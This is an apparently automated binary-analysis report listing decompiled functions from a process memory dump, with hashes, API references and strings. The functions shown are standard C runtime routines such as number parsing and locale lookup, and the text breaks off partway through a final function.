Opcode Fuzzy Hash: cabe3b0566db0db42ef53d4d012122222c7dd955ce98bae3f46502ae2c6f9f67
Instruction Fuzzy Hash: 0AC1B371D042588EDF25DFA8C8847ADBFB2BF01304F5445ABD889AB282DB785D85CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004AB9F9, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 266
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004AB9F9(intOrPtr _a4, char _a8, intOrPtr* _a12, signed int _a16, intOrPtr _a20) {
				signed char _v5;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				signed char _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				intOrPtr* _v52;
				char _v56;
				char _v64;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t85;
				signed int _t87;
				void* _t90;
				signed int _t94;
				signed int _t95;
				signed int _t101;
				signed int _t102;
				signed int _t103;
				signed char _t104;
				signed int _t105;
				intOrPtr _t106;
				signed char _t114;
				signed int _t115;
				signed int _t118;
				signed int _t119;
				signed int _t121;
				void* _t122;
				signed char _t132;
				signed int _t138;
				signed int _t139;
				signed char _t140;
				signed int _t143;
				signed int _t147;
				void* _t151;
				signed int _t152;
				void* _t153;
				intOrPtr* _t154;
				intOrPtr* _t155;
				signed int _t156;
				void* _t157;

				if(E004A53B2( &_a8) == 0) {
					L5:
					_t152 = 0;
					_t156 = 0;
					L6:
					_t85 = _a12;
					if(_t85 != 0) {
						 *_t85 = _a8;
					}
					return _t152;
				}
				_t87 = _a16;
				if(_t87 == 0 || _t87 >= 2 && _t87 <= 0x24) {
					E004A3439( &_v68, _a4);
					_v20 = 0;
					_t156 = 0;
					_t90 = _a8;
					_v52 = _t90;
					L11:
					_t132 =  *_t90;
					_a8 = _t90 + 1;
					_v16 = _t132;
					_v5 = _t132;
					_t94 = E004A9513(_t132, _t151, _t156, _t132 & 0x000000ff, 8,  &_v64);
					_t157 = _t157 + 0xc;
					__eflags = _t94;
					if(_t94 != 0) {
						_t90 = _a8;
						goto L11;
					}
					__eflags = _a20 - _t94;
					_t95 = _t94 & 0xffffff00 | _a20 != _t94;
					_v12 = _t95;
					__eflags = _t132 - 0x2d;
					if(_t132 != 0x2d) {
						__eflags = _t132 - 0x2b;
						if(_t132 != 0x2b) {
							_t153 = _a8;
							goto L17;
						}
						goto L15;
					} else {
						_v12 = _t95 | 0x00000002;
						L15:
						_t155 = _a8;
						_t132 =  *_t155;
						_t153 = _t155 + 1;
						_v5 = _t132;
						_v16 = _t132;
						_a8 = _t153;
						L17:
						_t138 = _a16;
						_t147 = 0x10;
						__eflags = _t138;
						if(_t138 == 0) {
							L19:
							__eflags = _t132 - 0x30 - 9;
							if(_t132 - 0x30 > 9) {
								__eflags = _t132 - 0x61 - 0x19;
								if(_t132 - 0x61 > 0x19) {
									_t101 = _t132 - 0x41;
									__eflags = _t101 - 0x19;
									if(_t101 > 0x19) {
										_t102 = _t101 | 0xffffffff;
										__eflags = _t102;
									} else {
										_t102 = _t132 + 0xffffffc9;
									}
								} else {
									_t102 = _t132 + 0xffffffa9;
								}
							} else {
								_t102 = _t132 + 0xffffffd0;
							}
							__eflags = _t102;
							if(_t102 == 0) {
								_t103 =  *_t153;
								_t154 = _t153 + 1;
								_v32 = _t103;
								_a8 = _t154;
								__eflags = _t103 - 0x78;
								if(_t103 == 0x78) {
									L35:
									__eflags = _t138;
									if(_t138 == 0) {
										_a16 = _t147;
									}
									_t104 =  *_t154;
									_t153 = _t154 + 1;
									_v5 = _t104;
									_v16 = _t104;
									_a8 = _t153;
									L34:
									_t105 = _a16;
									goto L39;
								}
								__eflags = _t103 - 0x58;
								if(_t103 == 0x58) {
									goto L35;
								}
								__eflags = _t138;
								if(_t138 == 0) {
									_a16 = 8;
								}
								E004A9495( &_a8, _v32);
								_t153 = _a8;
								goto L34;
							} else {
								__eflags = _t138;
								if(_t138 != 0) {
									L38:
									_t105 = _t138;
									L39:
									asm("cdq");
									_t139 = _t147;
									_v48 = _t105;
									_v44 = _t139;
									_t106 = E0049DAA0(0xffffffff, 0xffffffff, _t105, _t139);
									_v40 = _t139;
									_t140 = _v5;
									_v36 = _t132;
									__eflags = 0;
									_v28 = _t106;
									_v32 = _t147;
									while(1) {
										__eflags = _t140 - 0x30 - 9;
										if(_t140 - 0x30 > 9) {
											__eflags = _t140 - 0x61 - 0x19;
											if(_t140 - 0x61 > 0x19) {
												__eflags = _t140 - 0x41 - 0x19;
												if(_t140 - 0x41 > 0x19) {
													_t147 = _t147 | 0xffffffff;
													__eflags = _t147;
												} else {
													_t147 = _t140 + 0xffffffc9;
												}
											} else {
												_t147 = _t140 + 0xffffffa9;
											}
										} else {
											_t147 = _t140 + 0xffffffd0;
										}
										_v24 = _t147;
										__eflags = _t147 - 0xffffffff;
										if(_t147 == 0xffffffff) {
											break;
										}
										__eflags = _t147 - _a16;
										if(_t147 >= _a16) {
											break;
										}
										_t121 = _v20;
										_t143 = _v12 | 0x00000008;
										_v12 = _t143;
										__eflags = _t156 - _v32;
										if(__eflags < 0) {
											L58:
											_t122 = E0049D9F0(_v48, _v44, _t121, _t156);
											_t156 = _t147;
											_v20 = _t122 + _v24;
											asm("adc esi, ebx");
											L59:
											_t140 =  *_t153;
											_t153 = _t153 + 1;
											_v16 = _t140;
											_a8 = _t153;
											continue;
										}
										if(__eflags > 0) {
											L52:
											__eflags = _t121 - _v28;
											if(_t121 != _v28) {
												L57:
												_v12 = _t143 | 0x00000004;
												goto L59;
											}
											__eflags = _t156 - _v32;
											if(_t156 != _v32) {
												goto L57;
											}
											__eflags = 0 - _v36;
											if(__eflags < 0) {
												goto L58;
											}
											if(__eflags > 0) {
												goto L57;
											}
											__eflags = _t147 - _v40;
											if(_t147 <= _v40) {
												goto L58;
											}
											goto L57;
										}
										__eflags = _t121 - _v28;
										if(_t121 < _v28) {
											goto L58;
										}
										goto L52;
									}
									E004A9495( &_a8, _v16);
									_t114 = _v12;
									__eflags = _t114 & 0x00000008;
									if((_t114 & 0x00000008) != 0) {
										_t152 = _v20;
										_t115 = E004AB0A9(_t114, _t152, _t156);
										__eflags = _t115;
										if(_t115 == 0) {
											__eflags = _v12 & 0x00000002;
											if((_v12 & 0x00000002) != 0) {
												_t152 =  ~_t152;
												asm("adc esi, ebx");
												_t156 =  ~_t156;
											}
											L71:
											__eflags = _v56;
											if(_v56 != 0) {
												 *(_v68 + 0x350) =  *(_v68 + 0x350) & 0xfffffffd;
											}
											goto L6;
										}
										 *((intOrPtr*)(E004A966E())) = 0x22;
										_t118 = _v12;
										__eflags = _t118 & 0x00000001;
										if((_t118 & 0x00000001) != 0) {
											__eflags = _t118 & 0x00000002;
											if((_t118 & 0x00000002) == 0) {
												_t119 = _t118 | 0xffffffff;
												__eflags = _t119;
												_t156 = 0x7fffffff;
											} else {
												_t119 = 0;
												_t156 = 0x80000000;
											}
											L68:
											_t152 = _t119;
											goto L71;
										}
										_t152 = _t152 | 0xffffffff;
										_t156 = _t156 | 0xffffffff;
										goto L71;
									}
									_a8 = _v52;
									_t119 = 0;
									_t156 = 0;
									goto L68;
								}
								_t105 = 0xa;
								_a16 = _t105;
								goto L39;
							}
						}
						__eflags = _t138 - _t147;
						if(_t138 != _t147) {
							goto L38;
						}
						goto L19;
					}
				} else {
					 *((intOrPtr*)(E004A966E())) = 0x16;
					E004A5E77();
					goto L5;
				}
			}

0x004aba0d
0x004aba30
0x004aba32
0x004aba34
0x004aba36
0x004aba36
0x004aba3b
0x004aba40
0x004aba40
0x004aba4b
0x004aba4b
0x004aba0f
0x004aba14
0x004aba53
0x004aba5a
0x004aba5d
0x004aba5f
0x004aba62
0x004aba6a
0x004aba6a
0x004aba6d
0x004aba7a
0x004aba7d
0x004aba80
0x004aba85
0x004aba88
0x004aba8a
0x004aba67
0x00000000
0x004aba67
0x004aba8c
0x004aba8f
0x004aba92
0x004aba95
0x004aba98
0x004abaa2
0x004abaa5
0x004abab8
0x00000000
0x004abab8
0x00000000
0x004aba9a
0x004aba9d
0x004abaa7
0x004abaa7
0x004abaaa
0x004abaac
0x004abaad
0x004abab0
0x004abab3
0x004ababb
0x004ababb
0x004abac0
0x004abac1
0x004abac3
0x004abacd
0x004abad1
0x004abad3
0x004abae1
0x004abae3
0x004abaef
0x004abaf1
0x004abaf3
0x004abafd
0x004abafd
0x004abaf5
0x004abaf8
0x004abaf8
0x004abae5
0x004abae8
0x004abae8
0x004abad5
0x004abad8
0x004abad8
0x004abb00
0x004abb02
0x004abb10
0x004abb12
0x004abb13
0x004abb16
0x004abb19
0x004abb1b
0x004abb3f
0x004abb3f
0x004abb41
0x004abb43
0x004abb43
0x004abb46
0x004abb48
0x004abb49
0x004abb4c
0x004abb4f
0x004abb3a
0x004abb3a
0x00000000
0x004abb3a
0x004abb1d
0x004abb1f
0x00000000
0x00000000
0x004abb21
0x004abb23
0x004abb25
0x004abb25
0x004abb32
0x004abb37
0x00000000
0x004abb04
0x004abb04
0x004abb06
0x004abb54
0x004abb54
0x004abb56
0x004abb56
0x004abb57
0x004abb59
0x004abb62
0x004abb65
0x004abb6a
0x004abb6d
0x004abb70
0x004abb73
0x004abb75
0x004abb78
0x004abb7b
0x004abb7f
0x004abb81
0x004abb8f
0x004abb91
0x004abb9f
0x004abba1
0x004abbab
0x004abbab
0x004abba3
0x004abba6
0x004abba6
0x004abb93
0x004abb96
0x004abb96
0x004abb83
0x004abb86
0x004abb86
0x004abbae
0x004abbb1
0x004abbb4
0x00000000
0x00000000
0x004abbb6
0x004abbb9
0x00000000
0x00000000
0x004abbbe
0x004abbc1
0x004abbc4
0x004abbc7
0x004abbca
0x004abbf1
0x004abbf9
0x004abc01
0x004abc03
0x004abc06
0x004abc08
0x004abc08
0x004abc0a
0x004abc0b
0x004abc0e
0x00000000
0x004abc0e
0x004abbcc
0x004abbd3
0x004abbd3
0x004abbd6
0x004abbe9
0x004abbec
0x00000000
0x004abbec
0x004abbd8
0x004abbdb
0x00000000
0x00000000
0x004abbdd
0x004abbe0
0x00000000
0x00000000
0x004abbe2
0x00000000
0x00000000
0x004abbe4
0x004abbe7
0x00000000
0x00000000
0x00000000
0x004abbe7
0x004abbce
0x004abbd1
0x00000000
0x00000000
0x00000000
0x004abbd1
0x004abc1c
0x004abc21
0x004abc24
0x004abc26
0x004abc34
0x004abc3a
0x004abc42
0x004abc44
0x004abc79
0x004abc7d
0x004abc7f
0x004abc81
0x004abc83
0x004abc83
0x004abc85
0x004abc85
0x004abc8a
0x004abc93
0x004abc93
0x00000000
0x004abc8a
0x004abc4b
0x004abc51
0x004abc54
0x004abc56
0x004abc60
0x004abc62
0x004abc6d
0x004abc6d
0x004abc70
0x004abc64
0x004abc64
0x004abc66
0x004abc66
0x004abc75
0x004abc75
0x00000000
0x004abc75
0x004abc58
0x004abc5b
0x00000000
0x004abc5b
0x004abc2b
0x004abc2e
0x004abc30
0x00000000
0x004abc30
0x004abb0a
0x004abb0b
0x00000000
0x004abb0b
0x004abb02
0x004abac5
0x004abac7
0x00000000
0x00000000
0x00000000
0x004abac7
0x004aba20
0x004aba25
0x004aba2b
0x00000000
0x004aba2b

APIs

__aulldvrm.LIBCMT ref: 004ABB65

Strings

-, xrefs: 004ABA95
+, xrefs: 004ABAA2

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 4936ace60c501eb2f0c09c68cc273ae92587ab98632c85dfafc505048b497c57
Instruction ID: 086ef9e352f1fed724d724a152477e71e79d26f93ced7bb71daff06cfc5af4c1
Opcode Fuzzy Hash: 4936ace60c501eb2f0c09c68cc273ae92587ab98632c85dfafc505048b497c57
Instruction Fuzzy Hash: 2C91DA30D041499FCF20CE69C8516EE7BB1EF67320F14865BE865A7396D73899028BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004BE45D, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E004BE45D(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, signed short* _a8, intOrPtr _a12) {
				intOrPtr* _v8;
				short _v12;
				signed int _v32;
				intOrPtr _v44;
				signed int _v56;
				char _v272;
				char _v296;
				void* __ebp;
				void* _t34;
				short* _t35;
				intOrPtr* _t36;
				signed int _t39;
				signed short* _t44;
				intOrPtr _t47;
				void* _t49;
				signed int _t52;
				signed int _t58;
				signed int _t60;
				signed int _t66;
				void* _t68;
				void* _t71;
				void* _t76;
				void* _t80;
				intOrPtr _t87;
				short* _t89;
				void* _t90;
				void* _t92;
				short _t94;
				void* _t95;
				intOrPtr* _t98;
				void* _t112;
				void* _t116;
				intOrPtr* _t118;
				intOrPtr _t121;
				signed int* _t122;
				intOrPtr* _t125;
				signed short _t127;
				signed int _t129;
				void* _t131;
				signed int _t132;
				void* _t133;
				signed int _t134;

				_t115 = __edx;
				_push(__ecx);
				_push(__ecx);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t34 = E004B361B(__ebx, __ecx, __edx);
				_t87 = _a4;
				_t94 = 0;
				_v12 = 0;
				_t3 = _t34 + 0x50; // 0x50
				_t125 = _t3;
				_t4 = _t125 + 0x250; // 0x2a0
				_t35 = _t4;
				 *((intOrPtr*)(_t125 + 8)) = 0;
				 *_t35 = 0;
				_t6 = _t125 + 4; // 0x54
				_t118 = _t6;
				_v8 = _t35;
				_t36 = _t87 + 0x80;
				 *_t125 = _t87;
				 *_t118 = _t36;
				if( *_t36 != 0) {
					E004BE3EE(0x4085c0, 0x16, _t118);
					_t133 = _t133 + 0xc;
					_t94 = 0;
				}
				_push(_t125);
				if( *((intOrPtr*)( *_t125)) == _t94) {
					E004BDD5F(_t87, _t94, _t115, _t118, __eflags);
					goto L12;
				} else {
					if( *((intOrPtr*)( *_t118)) == _t94) {
						E004BDE82();
					} else {
						E004BDDE8(_t94);
					}
					_pop(_t95);
					if( *((intOrPtr*)(_t125 + 8)) == 0) {
						_t80 = E004BE3EE("Dy@", 0x40, _t125);
						_t133 = _t133 + 0xc;
						if(_t80 != 0) {
							_push(_t125);
							if( *((intOrPtr*)( *_t118)) == 0) {
								E004BDE82();
							} else {
								E004BDDE8(0);
							}
							L12:
							_pop(_t95);
						}
					}
				}
				if( *((intOrPtr*)(_t125 + 8)) == 0) {
					L31:
					_t39 = 0;
					__eflags = 0;
					goto L32;
				} else {
					_t127 = E004BE2BC(_t95, _t87 + 0x100, _t125);
					if(_t127 == 0 || _t127 == 0xfde8 || _t127 == 0xfde9) {
						goto L31;
					} else {
						_push(_t127 & 0x0000ffff);
						if( *0x4f0290() == 0) {
							goto L31;
						} else {
							_t44 = _a8;
							if(_t44 != 0) {
								 *_t44 = _t127;
							}
							_t121 = _a12;
							if(_t121 == 0) {
								L30:
								_t39 = 1;
								goto L32;
							} else {
								_t98 = _v8;
								_t15 = _t121 + 0x120; // 0x4b229f
								_t89 = _t15;
								 *_t89 = 0;
								_t116 = _t98 + 2;
								do {
									_t47 =  *_t98;
									_t98 = _t98 + 2;
								} while (_t47 != _v12);
								_t100 = _t98 - _t116 >> 1;
								_push((_t98 - _t116 >> 1) + 1);
								_t49 = E004AE171(_t98 - _t116 >> 1, _t89, 0x55, _v8);
								_t134 = _t133 + 0x10;
								_t153 = _t49;
								if(_t49 != 0) {
									E004A5EA4(0);
									asm("int3");
									_t132 = _t134;
									_t52 =  *0x4eb018; // 0x6027d6a0
									_v56 = _t52 ^ _t132;
									_t90 = E004B361B(_t89, _t100, _t116);
									_t122 =  *(E004B361B(_t90, _t100, _t116) + 0x34c);
									_t129 = E004BEB70(_v44);
									asm("sbb ecx, ecx");
									_t58 =  *0x4f01dc(_t129, ( ~( *(_t90 + 0x64)) & 0xfffff005) + 0x1002,  &_v296, 0x78, _t121, _t127, _t89, _t131, 0, 0, 0, 0, 0);
									__eflags = _t58;
									if(_t58 != 0) {
										_t60 = E004BB613(_t90, _t122, _t129,  *((intOrPtr*)(_t90 + 0x54)),  &_v272);
										__eflags = _t60;
										if(_t60 == 0) {
											_t66 = E004BECA4(_t129);
											__eflags = _t66;
											if(_t66 != 0) {
												 *_t122 =  *_t122 | 0x00000004;
												__eflags =  *_t122;
												_t122[2] = _t129;
												_t122[1] = _t129;
											}
										}
										__eflags =  !( *_t122 >> 2) & 0x00000001;
									} else {
										 *_t122 =  *_t122 & _t58;
									}
									__eflags = _v32 ^ _t132;
									return E0049CE1D(_v32 ^ _t132);
								} else {
									_t68 = E004B79BA(_t100, _t127, _t153, _t89, 0x1001, _t121, 0x40);
									_t154 = _t68;
									if(_t68 == 0) {
										goto L31;
									} else {
										_t20 = _t121 + 0x80; // 0x4b21ff
										_t92 = _t20;
										_t21 = _t121 + 0x120; // 0x4b229f
										if(E004B79BA(_t100, _t127, _t154, _t21, 0x1002, _t92, 0x40) == 0) {
											goto L31;
										} else {
											_push(0x5f);
											_t71 = E004C428B(_t100);
											_t112 = _t92;
											if(_t71 != 0) {
												L28:
												_t22 = _t121 + 0x120; // 0x4b229f
												if(E004B79BA(_t112, _t127, _t157, _t22, 7, _t92, 0x40) == 0) {
													goto L31;
												} else {
													goto L29;
												}
											} else {
												_push(0x2e);
												_t76 = E004C428B(_t112);
												_t112 = _t92;
												_t157 = _t76;
												if(_t76 == 0) {
													L29:
													_t23 = _t121 + 0x100; // 0x4b227f
													E004C2A00(_t112, _t127, _t23, 0x10, 0xa);
													goto L30;
												} else {
													goto L28;
												}
											}
										}
									}
									L32:
									return _t39;
								}
							}
						}
					}
				}
			}

0x004be45d
0x004be462
0x004be463
0x004be464
0x004be465
0x004be466
0x004be467
0x004be46c
0x004be46f
0x004be471
0x004be474
0x004be474
0x004be477
0x004be477
0x004be47d
0x004be480
0x004be483
0x004be483
0x004be486
0x004be489
0x004be48f
0x004be491
0x004be496
0x004be4a0
0x004be4a5
0x004be4a8
0x004be4a8
0x004be4ac
0x004be4b0
0x004be4f9
0x00000000
0x004be4b2
0x004be4b7
0x004be4c0
0x004be4b9
0x004be4b9
0x004be4b9
0x004be4c7
0x004be4cb
0x004be4d5
0x004be4da
0x004be4df
0x004be4e5
0x004be4e9
0x004be4f2
0x004be4eb
0x004be4eb
0x004be4eb
0x004be4fe
0x004be4fe
0x004be4fe
0x004be4df
0x004be4cb
0x004be504
0x004be616
0x004be616
0x004be616
0x00000000
0x004be50a
0x004be517
0x004be51d
0x00000000
0x004be53b
0x004be53e
0x004be547
0x00000000
0x004be54d
0x004be54d
0x004be552
0x004be554
0x004be554
0x004be556
0x004be55b
0x004be611
0x004be613
0x00000000
0x004be561
0x004be561
0x004be564
0x004be564
0x004be56c
0x004be56f
0x004be572
0x004be572
0x004be575
0x004be578
0x004be580
0x004be585
0x004be58c
0x004be591
0x004be594
0x004be596
0x004be626
0x004be62b
0x004be62f
0x004be637
0x004be63e
0x004be64c
0x004be654
0x004be663
0x004be66f
0x004be680
0x004be686
0x004be688
0x004be699
0x004be6a0
0x004be6a2
0x004be6a5
0x004be6ab
0x004be6ad
0x004be6af
0x004be6af
0x004be6b2
0x004be6b5
0x004be6b5
0x004be6ad
0x004be6bf
0x004be68a
0x004be68a
0x004be68c
0x004be6c7
0x004be6d2
0x004be59c
0x004be5a5
0x004be5aa
0x004be5ac
0x00000000
0x004be5ae
0x004be5b0
0x004be5b0
0x004be5bc
0x004be5ca
0x00000000
0x004be5cc
0x004be5cc
0x004be5cf
0x004be5d5
0x004be5d8
0x004be5e8
0x004be5ed
0x004be5fb
0x00000000
0x00000000
0x00000000
0x00000000
0x004be5da
0x004be5da
0x004be5dd
0x004be5e3
0x004be5e4
0x004be5e6
0x004be5fd
0x004be601
0x004be609
0x00000000
0x00000000
0x00000000
0x00000000
0x004be5e6
0x004be5d8
0x004be5ca
0x004be618
0x004be61e
0x004be61e
0x004be596
0x004be55b
0x004be547
0x004be51d

APIs

Part of subcall function 004B361B: _free.LIBCMT ref: 004B3652

_wcschr.LIBVCRUNTIME ref: 004BE5CF
_wcschr.LIBVCRUNTIME ref: 004BE5DD

Strings

Dy@, xrefs: 004BE4D0

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wcschr$_free
String ID: Dy@
API String ID: 4061643932-15957793
Opcode ID: debdb2c0d7586ea4a89d7033b72f6ab7402c9bf7c9316b958dc693d8f1734bcf
Instruction ID: 8b77ecb800fa38c15b9be58a4435142daaa5de86a45f9f3841541293fb08b5ea
Opcode Fuzzy Hash: debdb2c0d7586ea4a89d7033b72f6ab7402c9bf7c9316b958dc693d8f1734bcf
Instruction Fuzzy Hash: E9611871600606AAD725AB37CC42BEB73A8EF94714F10046FF905DB281FB78E95187B9

Uniqueness

Uniqueness Score: -1.00%

Function 004A9870, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 211COMMON

Download Yara Rule

Strings

pow, xrefs: 004A9975, 004A9992

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: pow
API String ID: 0-2276729525
Opcode ID: e3b1e1c3cd6f4b60d5be9649f80d1ce05694d544c85cab0d0d7f5a62eff31b6c
Instruction ID: a303c64bb138c9fad5e36fe1cedc22b9bcf782012a246fcbb59e43047fe4a953
Opcode Fuzzy Hash: e3b1e1c3cd6f4b60d5be9649f80d1ce05694d544c85cab0d0d7f5a62eff31b6c
Instruction Fuzzy Hash: 9F51BBB0908101A6DB15BB19CD413FB7BA4EB61700F21896FE4D5463E9EB3C8C95CA9F

Uniqueness

Uniqueness Score: -1.00%

Function 00485F68, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00485F68(intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t107;
				intOrPtr* _t108;
				void* _t116;
				void* _t118;
				void* _t120;
				intOrPtr* _t123;
				void* _t128;
				intOrPtr* _t130;
				void* _t134;
				void* _t135;
				intOrPtr _t136;
				intOrPtr _t137;
				intOrPtr _t138;

				_t128 = __edx;
				_t108 = __ecx;
				_push(0x94);
				E0049D93F(0x4d653e, __edi, __esi);
				_t130 = _t108;
				_t132 =  *(_t134 + 8);
				 *((char*)(_t134 - 0x8c)) = 0x40;
				 *((char*)(_t134 - 0x78)) = 0x40;
				E00485F29(_t134 - 0x4c,  *(_t134 + 8));
				E00485F29(_t134 - 0x74, _t132);
				 *(_t134 - 0x20) =  *(_t134 - 0x20) | 0xffffffff;
				 *((intOrPtr*)(_t134 - 0x18)) = 0x80000000;
				 *((char*)(_t134 - 0x14)) = 0;
				 *((intOrPtr*)(_t134 - 0x1c)) = 0;
				 *((intOrPtr*)(_t134 - 0x24)) = 0xffffffc1;
				if(E004859DA(_t132, _t134 - 0x24) == 0) {
					 *(_t134 - 0x5c) =  *(_t134 - 0x5c) | 0xffffffff;
					 *((char*)(_t134 - 0x50)) = 0;
					 *((intOrPtr*)(_t134 - 0x58)) = 0;
					 *(_t134 - 0x54) = 2;
					 *((intOrPtr*)(_t134 - 0x60)) = 0xffffffe0;
					E00485852(_t134 - 0x60);
					_push(0);
					_t132 = 1;
					_push(1);
					_t136 = _t135 - 0x14;
					 *((intOrPtr*)(_t134 - 0xa0)) = _t136;
					E00485F29(_t136, _t134 - 0x24);
					 *(_t134 - 4) = 0;
					 *(_t134 - 4) =  *(_t134 - 4) | 0xffffffff;
					E00485C66(0, _t134 - 0x4c, _t128, _t130, 1);
					_push(1);
					_push(1);
					_t137 = _t136 - 0x14;
					 *((intOrPtr*)(_t134 - 0xa0)) = _t137;
					E00485F29(_t137, _t134 - 0x24);
					 *(_t134 - 4) = 1;
					 *(_t134 - 4) =  *(_t134 - 4) | 0xffffffff;
					_t116 = _t134 - 0x74;
					E00485C66(0, _t116, _t128, _t130, 1);
					_push(_t116);
					E00486168(0, _t134 - 0x4c, _t128, _t130, 1, _t134, _t134 - 0x74);
					_t118 = _t134 - 0x74;
					E00485F29(_t118, _t134 - 0x4c);
					_push(_t118);
					E0048653A(0, _t118, _t130, 1, _t134, _t134 - 0x4c);
					_t41 = _t134 - 0x34;
					 *_t41 =  *(_t134 - 0x34) | 0xffffffff;
					__eflags =  *_t41;
					 *((char*)(_t130 + 0x10)) = 0x20;
					 *_t130 = 0;
					 *((intOrPtr*)(_t130 + 4)) = 0;
					 *((intOrPtr*)(_t130 + 8)) = 0;
					 *((char*)(_t134 - 0x28)) = 0;
					 *((intOrPtr*)(_t134 - 0x30)) = 0;
					 *((intOrPtr*)(_t134 - 0x2c)) = 0x80000000;
					 *((intOrPtr*)(_t134 - 0x38)) = 0xffffffc1;
					 *((intOrPtr*)(_t130 + 0xc)) = 0;
					E00485F29(_t134 - 0x9c, _t130);
					while(1) {
						_t120 = _t134 - 0x88;
						_t107 = _t132 & 0x00000003;
						E00485F29(_t120, _t134 - 0x4c);
						_push(_t120);
						__eflags = E00486168(_t107, _t120, _t128, _t130, _t132, _t134, _t134 - 0x38);
						if(__eflags != 0) {
							break;
						}
						_push(1);
						_push(1);
						_t138 = _t137 - 0x14;
						 *((intOrPtr*)(_t134 - 0xa0)) = _t138;
						E00485F29(_t138, _t134 - 0x88);
						 *(_t134 - 4) = 2;
						 *(_t134 - 4) =  *(_t134 - 4) | 0xffffffff;
						_t123 = _t130;
						E00485C66(_t107, _t123, _t128, _t130, _t132);
						__eflags = _t107;
						if(_t107 != 0) {
							L7:
							_push(_t123);
							__eflags = E0048653A(_t107, _t134 - 0x4c, _t130, _t132, _t134, _t134 - 0x74);
							if(__eflags == 0) {
								_push(1);
								_push(1);
								_t137 = _t138 - 0x14;
								 *((intOrPtr*)(_t134 - 0xa0)) = _t137;
								E00485F29(_t137, _t134 - 0x60);
								 *(_t134 - 4) = 3;
								 *(_t134 - 4) =  *(_t134 - 4) | 0xffffffff;
								__eflags = E00485C66(_t107, _t134 - 0x38, _t128, _t130, _t132);
								if(__eflags == 0) {
									_t132 = _t132 + 1;
									__eflags = _t132 - 0x2710;
									if(__eflags <= 0) {
										continue;
									}
								}
							}
						} else {
							__eflags = E004859DA(_t134 - 0x9c, _t130);
							if(__eflags == 0) {
								_t123 = _t134 - 0x9c;
								E00485F29(_t123, _t130);
								goto L7;
							}
						}
						break;
					}
					_t75 = E0048666B(_t130, __eflags);
				} else {
					 *((char*)(_t130 + 0x10)) = 0x20;
					 *_t130 = 0;
					 *((intOrPtr*)(_t130 + 4)) = 0;
					 *((intOrPtr*)(_t130 + 8)) = 0;
					 *((intOrPtr*)(_t130 + 0xc)) = 0;
				}
				return E0049D8E9(_t75, _t130, _t132);
			}

0x00485f68
0x00485f68
0x00485f68
0x00485f72
0x00485f77
0x00485f79
0x00485f80
0x00485f87
0x00485f8b
0x00485f94
0x00485f99
0x00485fa2
0x00485fac
0x00485faf
0x00485fb2
0x00485fc0
0x00485fd6
0x00485fdd
0x00485fe0
0x00485fe3
0x00485fea
0x00485ff1
0x00485ff6
0x00485ffc
0x00485ffd
0x00485ffe
0x00486001
0x0048600a
0x0048600f
0x00486012
0x00486019
0x0048601e
0x0048601f
0x00486020
0x00486026
0x0048602f
0x00486034
0x00486037
0x0048603b
0x0048603e
0x00486043
0x0048604b
0x00486054
0x00486057
0x0048605c
0x00486061
0x00486066
0x00486066
0x00486066
0x00486070
0x00486074
0x00486076
0x00486079
0x0048607d
0x00486080
0x00486083
0x0048608a
0x00486091
0x00486094
0x00486099
0x0048609f
0x004860a5
0x004860a8
0x004860ad
0x004860b7
0x004860b9
0x00000000
0x00000000
0x004860bf
0x004860c1
0x004860c3
0x004860cc
0x004860d5
0x004860da
0x004860e1
0x004860e5
0x004860e7
0x004860ec
0x004860ee
0x0048610c
0x0048610c
0x00486119
0x0048611b
0x0048611d
0x0048611f
0x00486121
0x00486127
0x00486130
0x00486135
0x0048613c
0x00486148
0x0048614a
0x0048614c
0x0048614d
0x00486153
0x00000000
0x00000000
0x00486153
0x0048614a
0x004860f0
0x004860fc
0x004860fe
0x00486101
0x00486107
0x00000000
0x00486107
0x004860fe
0x00000000
0x004860ee
0x0048615b
0x00485fc2
0x00485fc2
0x00485fc6
0x00485fc8
0x00485fcb
0x00485fce
0x00485fce
0x00486165

APIs

__EH_prolog3_GS.LIBCMT ref: 00485F72

Strings

@, xrefs: 00485F80
@, xrefs: 00485F87

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: f497cdc98d2597814a11adbe0b6bf863c4d88b471effe1825a61e47d33773506
Instruction ID: ee4fd81a2b6a048d9af4b6b00a21be7e2bd9f7bcd20dad400b400d5fc0af9497
Opcode Fuzzy Hash: f497cdc98d2597814a11adbe0b6bf863c4d88b471effe1825a61e47d33773506
Instruction Fuzzy Hash: 4E51B0B0C00708AACB10FFA6D989ACEFBB5BF15314F50465FE56563282DB385A45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004801A4, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E004801A4(intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t99;
				intOrPtr* _t100;
				void* _t108;
				void* _t110;
				void* _t112;
				intOrPtr* _t115;
				intOrPtr* _t122;
				void* _t126;
				void* _t127;
